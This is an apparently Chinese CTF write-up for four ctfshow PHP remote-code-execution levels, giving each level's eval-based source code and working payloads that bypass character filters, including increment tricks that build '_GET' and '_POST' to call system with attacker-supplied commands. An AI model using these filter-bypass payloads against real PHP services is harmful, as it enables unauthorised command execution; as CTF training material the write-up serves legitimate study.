CTFSHOW-RCE挑战

第一关源码:

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

分析:post一个请求然后不能出现,和.

初步思路是直接用反引号输出,也就是echo出来一个shell命令

尝试如下:

用echo将值输出回来,然后反引号包裹shell命令。

直接附上payload:

第二关源码:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

额,根据我的印象中,这个题需要用自增。

但是居然没有限制长度?只是限制了全数字和全字母

思路:用post构造一个get请求

<?php

$_=[].'';//'array'
$___ = $_[$__]; //a
$___++;
$___++;
$___++;
$___++;
$___++;//f
$____=++$___;//g
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$____.=$___++;//ge

$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$___++;//f
$___++;//g
$___++;//h
$___++;//i
$___++;//j
$___++;//k
$___++;//l
$___++;//m
$___++;//n
$___++;//o
$___++;//p
$___++;//q
$___++;//r
$___++;//s
$___++;//t
$____.=$___++;
$_=_.$____;//_GET
($$_[_])($$_[__]);
这是编译前,记得要用url进行编码

然后在get请求里面用_和__代替掉system和ls

payload:?_=system&__=ls

第三关源码:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

分析:自增加上长度过滤,但是放出来了0和1,可以用01做变量来进行传参。

<?php
$_=(_/_._)[0];//N

$_0=++$_;//o

$_1=_.++$_.$_0;//_po

$_++;//q
$_++;//r

$_1.=++$_.++$_;//_POST

$$_1[0]($$_1[1]);
在post里面用0和1进行命令执行
同样记得url编码

第四关源码:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST[‘ctf_show’])) {
    $ctfshow = $_POST[‘ctf_show’];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match(“/[a-zA-Z1-9!’@#%^&*:{}\-<\?>\”|`~\\\\]/”,$ctfshow)){
            eval($ctfshow);
        }else{
            echo(“Are you hacking me AGAIN?”);
        }
    }else{
        phpinfo();
    }
}
?>

这道题是在第三关的基础上稍微改一下

payload:$_=(_/_._)[0];$_0=++$_;$__=_.++$_.$_0;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);//url编码

发表评论

蜀ICP备2022010829号